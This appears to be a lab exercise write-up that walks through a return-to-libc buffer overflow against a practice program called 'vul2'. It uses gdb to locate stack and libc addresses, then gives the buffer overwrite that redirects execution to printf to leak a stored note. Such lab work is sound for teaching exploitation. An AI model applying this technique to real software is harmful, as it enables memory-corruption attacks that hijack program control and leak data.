This exercise uses libc functions as part of a buffer overflow exploit.

Running vul2 in the gdb environment, we set a breakpoint at main and run to that point. We then run print &account.note, which returns $1 = (char (\*)[174]) 0xffffd4cc. Setting a breakpoint and running to proc\_input, we run print &buf, which produces $1 = (unsigned char (\*)[80]) 0xffffd3d0. Running info registers allows us to see the address of the ebp, 0xffffd428. The difference between &buf and &ebp is 5\*16 + 8 = 88. We can also see the location of the function pointer for printf in the standard library by running print printf, which returns $2 = {<text variable, no debug info>} 0xf7e5ddd0 <printf>. Next, we run x/8wx 0xffffd420, which prints 8 words above the address of the ebp. The output is

0xffffd420: 0x00000000 0xffffd4c0 0xffffd588 0x08048588

0xffffd430: 0xffffd440 0x00000080 0x00000001 0x0804b008

The third word holds the old ebp, and the fourth holds the return address.

To avoid a segfault after our printf function executes, we can set the return address to the function pointer for the fclose function, which occurs at the end of main. Running the command print fclose gives us 0xf7f373d0.

Thus the solution for this exploit is

\*((unsigned\*)(&buf[88])) = 0xffffd588; // old ebp

\*((unsigned\*)(&buf[92])) = 0xf7e5ddd0; // address of printf in libc (overwritten to the true ret address)

\*((unsigned\*)(&buf[96])) = 0xf7f373d0; // fake ret address after printf is executed (fclose)

\*((unsigned\*)(&buf[100])) = 0xffffd43c; // 1st argument of printf (addr of format string)

\*((unsigned\*)(&buf[104])) = 0xffffd4cc; // 2nd argument of printf (addr of account.note)

strncpy(buf+108, "%s\n", 4); // the format string "%s\n"

The output of this is the note, or “AAA” and a new line. The program does not segfault.